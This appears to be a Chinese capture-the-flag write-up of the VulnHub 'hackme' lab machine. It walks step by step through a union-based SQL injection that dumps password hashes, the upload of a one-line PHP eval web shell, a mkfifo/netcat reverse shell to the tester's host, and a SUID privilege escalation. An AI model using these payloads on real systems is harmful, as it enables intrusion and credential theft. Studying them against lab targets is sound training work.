vulnhub靶机hackme-泷羽Sec

主机发现和80探测

端口扫描

目录扫描，访问这个图片看看

没东西了，就登录试试万能密码

注册一个用户去

登录后，那个重置密码的url没有用了，旁边那个链接就是退出登录

直接进入的时候是没有任何结果的，要先点一下search按钮

搜索关键字，oscp

能直接查出结果了，存在sql注入漏洞，需要注意的是万能密码地方的空格（qwq前面的空格很重要）

oscp' or 1=1 -- qwq

判断列数

oscp' or 1=1 order by 3 -- qwq

联合查询

oscp' union select 1,2,3 -- qwq

当前数据库

oscp' union select database(),2,3 -- qwq        

# webapphacking

暴数据库

oscp' union select group_concat(schema_name),2,3 from information_schema.schemata -- qwq     

# information_schema,mysql,performance_schema,sys,webapphacking

暴当前数据库的表

oscp' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- qwq 

# books,users

users表的列（字段）

oscp' union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name="users" -- qwq 

# id,user,pasword,name,address

暴表数据

oscp' union select group_concat(user,'-',pasword),2,3 from users -- qwq 

# user1-5d41402abc4b2a76b9719d911017c592      hello
# user2-6269c4f71a55b24bad0f0267d9be5508      commando
# user3-0f359740bd1cda994f8b55330c86d845      p@ssw0rd
# test-05a671c66aefea124cc08b76ea6d30bb       testtest
# superadmin-2386acb2cf356944177746fc92523983 Uncrackable
# test1-05a671c66aefea124cc08b76ea6d30bb      testtest

# 下面两个是新加的
# xiaoyu-348f10f863b27ec106195c96e23dcd91     xiaoyu
# admin-e10adc3949ba59abbe56e057f20f883e      123456

有了密码，ssh试试全都失败

登录账号 superadmin 有一个文件上传

上传一个一句话木马shell.php

<?php @eval($_POST['cmd']);?>

蚂蚁连接

这里的nc没有-e参数，所以用如下命令进行反弹 shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f

反弹成功

创建交互式终端

python3 -c 'import pty; pty.spawn("/bin/bash");'

系统信息收集

切换到home文件夹下面，意外发现一个suid文件

执行文件，即可提权成功

往期推荐

【oscp】Blender软件的信息泄露—VulnOSv2

【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了

【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！

【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏

ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略

本站小部分内容转载于互联网，如有侵权还请联系

THE END

OSCP打靶泷羽收录